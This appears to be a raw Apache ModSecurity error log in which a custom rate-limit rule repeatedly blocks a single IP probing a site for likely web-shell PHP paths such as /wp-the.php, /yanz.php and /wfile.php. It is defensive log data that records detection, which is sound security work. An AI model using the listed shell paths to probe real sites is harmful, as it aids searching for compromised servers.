[Mon Mar 30 03:48:19.828309 2026] [:error] [pid 55884:tid 55976] [client 51.120.74.80:23140] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "acmCAzjuYLVkve3Vbhxe2wAAARc"]
[Mon Mar 30 03:48:20.421410 2026] [:error] [pid 4033:tid 4072] [client 51.120.74.80:35199] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "acmCBKnf-DXI9VblHi0ZxQAAABM"]
[Mon Mar 30 03:48:21.123979 2026] [:error] [pid 4040:tid 4122] [client 51.120.74.80:39875] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "acmCBQxlbJV8kpOpFvY7KAAAAI4"]
[Mon Mar 30 03:48:21.839349 2026] [:error] [pid 4033:tid 4066] [client 51.120.74.80:50606] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "acmCBanf-DXI9VblHi0ZzQAAAA0"]
[Mon Mar 30 03:48:22.393725 2026] [:error] [pid 4033:tid 4074] [client 51.120.74.80:50574] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "acmCBqnf-DXI9VblHi0Z0AAAABU"]
[Mon Mar 30 03:48:23.028542 2026] [:error] [pid 4033:tid 4056] [client 51.120.74.80:50621] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "acmCB6nf-DXI9VblHi0Z2wAAAAM"]
[Mon Mar 30 03:48:23.571852 2026] [:error] [pid 4033:tid 4076] [client 51.120.74.80:27757] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "acmCB6nf-DXI9VblHi0Z4AAAABc"]
[Mon Mar 30 03:48:24.550157 2026] [:error] [pid 55884:tid 55958] [client 51.120.74.80:52332] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "acmCCDjuYLVkve3Vbhxe8AAAAQU"]
[Mon Mar 30 03:48:25.130052 2026] [:error] [pid 4033:tid 4054] [client 51.120.74.80:40985] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "acmCCanf-DXI9VblHi0Z6wAAAAE"]
[Mon Mar 30 03:48:25.671574 2026] [:error] [pid 4033:tid 4053] [client 51.120.74.80:52014] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "acmCCanf-DXI9VblHi0Z9AAAAAA"]
[Mon Mar 30 03:48:26.220251 2026] [:error] [pid 4040:tid 4122] [client 51.120.74.80:16020] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "acmCCgxlbJV8kpOpFvY7OgAAAI4"]
[Mon Mar 30 03:48:26.916848 2026] [:error] [pid 4033:tid 4065] [client 51.120.74.80:16033] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "acmCCqnf-DXI9VblHi0Z_AAAAAw"]
[Mon Mar 30 03:48:27.524546 2026] [:error] [pid 4033:tid 4069] [client 51.120.74.80:36508] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "acmCC6nf-DXI9VblHi0aAwAAABA"]
[Mon Mar 30 03:48:28.124971 2026] [:error] [pid 4033:tid 4063] [client 51.120.74.80:52269] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "acmCDKnf-DXI9VblHi0aCgAAAAo"]
[Mon Mar 30 03:48:28.836740 2026] [:error] [pid 4040:tid 4108] [client 51.120.74.80:52273] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "acmCDAxlbJV8kpOpFvY7QAAAAIA"]
[Mon Mar 30 03:48:29.571402 2026] [:error] [pid 4139:tid 4151] [client 51.120.74.80:52226] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-access.php"] [unique_id "acmCDYYyhg47TZoaP9LvkwAAAMQ"]
[Mon Mar 30 03:48:30.240581 2026] [:error] [pid 4139:tid 4150] [client 51.120.74.80:27319] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "acmCDoYyhg47TZoaP9LvlwAAAMM"]
[Mon Mar 30 03:48:30.890347 2026] [:error] [pid 4139:tid 4147] [client 51.120.74.80:52244] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "acmCDoYyhg47TZoaP9LvnAAAAMA"]
[Mon Mar 30 03:48:31.526535 2026] [:error] [pid 4139:tid 4157] [client 51.120.74.80:51279] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "acmCD4Yyhg47TZoaP9LvoAAAAMo"]
[Mon Mar 30 03:48:32.286674 2026] [:error] [pid 4034:tid 4096] [client 51.120.74.80:49500] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "acmCELfAq8eF_uU4gu2CxQAAAE8"]
[Mon Mar 30 03:48:32.936108 2026] [:error] [pid 4034:tid 4101] [client 51.120.74.80:32459] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "acmCELfAq8eF_uU4gu2CyAAAAFQ"]
[Mon Mar 30 03:48:33.589185 2026] [:error] [pid 4139:tid 4147] [client 51.120.74.80:51274] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "acmCEYYyhg47TZoaP9LvqQAAAMA"]
[Mon Mar 30 03:48:34.225140 2026] [:error] [pid 55884:tid 55957] [client 51.120.74.80:40978] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "acmCEjjuYLVkve3VbhxfEQAAAQQ"]
[Mon Mar 30 03:48:34.835452 2026] [:error] [pid 55884:tid 55953] [client 51.120.74.80:27317] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "acmCEjjuYLVkve3VbhxfFQAAAQA"]
[Mon Mar 30 03:48:35.575149 2026] [:error] [pid 55884:tid 55973] [client 51.120.74.80:49532] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "acmCEzjuYLVkve3VbhxfGwAAARQ"]
[Mon Mar 30 03:48:36.159390 2026] [:error] [pid 4139:tid 4166] [client 51.120.74.80:36483] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "acmCFIYyhg47TZoaP9LvsgAAANM"]
[Mon Mar 30 03:48:36.749938 2026] [:error] [pid 4040:tid 4131] [client 51.120.74.80:49475] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "acmCFAxlbJV8kpOpFvY7TQAAAJc"]
[Mon Mar 30 03:48:37.399815 2026] [:error] [pid 55884:tid 55960] [client 51.120.74.80:46045] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gssdd.php"] [unique_id "acmCFTjuYLVkve3VbhxfJAAAAQc"]
[Mon Mar 30 03:48:37.938554 2026] [:error] [pid 4033:tid 4054] [client 51.120.74.80:27291] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "acmCFanf-DXI9VblHi0aQAAAAAE"]
[Mon Mar 30 03:48:38.472504 2026] [:error] [pid 55884:tid 55974] [client 51.120.74.80:16755] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "acmCFjjuYLVkve3VbhxfLQAAARU"]
[Mon Mar 30 03:48:39.076892 2026] [:error] [pid 4033:tid 4073] [client 51.120.74.80:27273] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "acmCF6nf-DXI9VblHi0aSwAAABQ"]
[Mon Mar 30 03:48:39.624791 2026] [:error] [pid 4040:tid 4111] [client 51.120.74.80:27318] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "acmCFwxlbJV8kpOpFvY7TwAAAIM"]
[Mon Mar 30 03:48:40.228645 2026] [:error] [pid 55884:tid 55958] [client 51.120.74.80:36518] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "acmCGDjuYLVkve3VbhxfOwAAAQU"]
[Mon Mar 30 03:48:40.953028 2026] [:error] [pid 55884:tid 55956] [client 51.120.74.80:16039] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "acmCGDjuYLVkve3VbhxfPwAAAQM"]
[Mon Mar 30 03:49:03.432159 2026] [:error] [pid 55884:tid 55972] [client 51.120.74.80:32467] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "acmCLzjuYLVkve3VbhxfswAAARM"]
[Mon Mar 30 03:49:04.029347 2026] [:error] [pid 4034:tid 4091] [client 51.120.74.80:45165] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "acmCMLfAq8eF_uU4gu2C8wAAAEo"]
[Mon Mar 30 03:49:04.634322 2026] [:error] [pid 4040:tid 4116] [client 51.120.74.80:36921] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "acmCMAxlbJV8kpOpFvY7kQAAAIg"]
[Mon Mar 30 03:49:05.154845 2026] [:error] [pid 4040:tid 4117] [client 51.120.74.80:48804] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "acmCMQxlbJV8kpOpFvY7lQAAAIk"]
[Mon Mar 30 03:49:05.824031 2026] [:error] [pid 4033:tid 4062] [client 51.120.74.80:48827] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acmCManf-DXI9VblHi0bGAAAAAk"]
[Mon Mar 30 03:49:06.618847 2026] [:error] [pid 4034:tid 4081] [client 51.120.74.80:48810] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acmCMrfAq8eF_uU4gu2C-QAAAEA"]
[Mon Mar 30 03:49:07.153504 2026] [:error] [pid 55884:tid 55966] [client 51.120.74.80:4781] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acmCMzjuYLVkve3VbhxfvAAAAQ0"]
[Mon Mar 30 03:49:07.804466 2026] [:error] [pid 55884:tid 55969] [client 51.120.74.80:27775] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "acmCMzjuYLVkve3VbhxfwAAAARA"]
[Mon Mar 30 03:49:08.384429 2026] [:error] [pid 55884:tid 55966] [client 51.120.74.80:51277] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "acmCNDjuYLVkve3VbhxfxgAAAQ0"]
[Mon Mar 30 03:49:08.987554 2026] [:error] [pid 55884:tid 55967] [client 51.120.74.80:51327] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "acmCNDjuYLVkve3VbhxfygAAAQ4"]
[Mon Mar 30 03:49:09.542892 2026] [:error] [pid 55884:tid 55965] [client 51.120.74.80:51286] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "acmCNTjuYLVkve3VbhxfzwAAAQw"]
[Mon Mar 30 03:49:10.177057 2026] [:error] [pid 4033:tid 4071] [client 51.120.74.80:17996] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/333.php"] [unique_id "acmCNqnf-DXI9VblHi0bOQAAABI"]
[Mon Mar 30 03:49:10.826373 2026] [:error] [pid 4139:tid 4164] [client 51.120.74.80:51318] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ut.php"] [unique_id "acmCNoYyhg47TZoaP9LwBgAAANE"]
[Mon Mar 30 03:49:11.396558 2026] [:error] [pid 4033:tid 4064] [client 51.120.74.80:31172] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ut.php"] [unique_id "acmCN6nf-DXI9VblHi0bQgAAAAs"]
[Mon Mar 30 03:49:11.974739 2026] [:error] [pid 4033:tid 4072] [client 51.120.74.80:47316] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ut.php"] [unique_id "acmCN6nf-DXI9VblHi0bRAAAABM"]
[Mon Mar 30 03:49:12.643388 2026] [:error] [pid 55884:tid 55963] [client 51.120.74.80:27748] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ut.php"] [unique_id "acmCODjuYLVkve3Vbhxf2gAAAQo"]
[Mon Mar 30 03:49:13.234065 2026] [:error] [pid 4034:tid 4082] [client 51.120.74.80:14722] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "acmCObfAq8eF_uU4gu2C_wAAAEE"]
[Mon Mar 30 03:49:13.840613 2026] [:error] [pid 4033:tid 4068] [client 51.120.74.80:52283] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "acmCOanf-DXI9VblHi0bUAAAAA8"]
[Mon Mar 30 03:49:14.388657 2026] [:error] [pid 4139:tid 4167] [client 51.120.74.80:41899] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "acmCOoYyhg47TZoaP9LwEAAAANQ"]
[Mon Mar 30 03:49:14.963725 2026] [:error] [pid 4040:tid 4125] [client 51.120.74.80:17997] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "acmCOgxlbJV8kpOpFvY7owAAAJE"]
[Mon Mar 30 03:49:15.518327 2026] [:error] [pid 4033:tid 4065] [client 51.120.74.80:35189] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vee.php"] [unique_id "acmCO6nf-DXI9VblHi0bWAAAAAw"]
[Mon Mar 30 03:49:16.127437 2026] [:error] [pid 55884:tid 55967] [client 51.120.74.80:48785] [client 51.120.74.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vee.php"] [unique_id "acmCPDjuYLVkve3Vbhxf4QAAAQ4"]
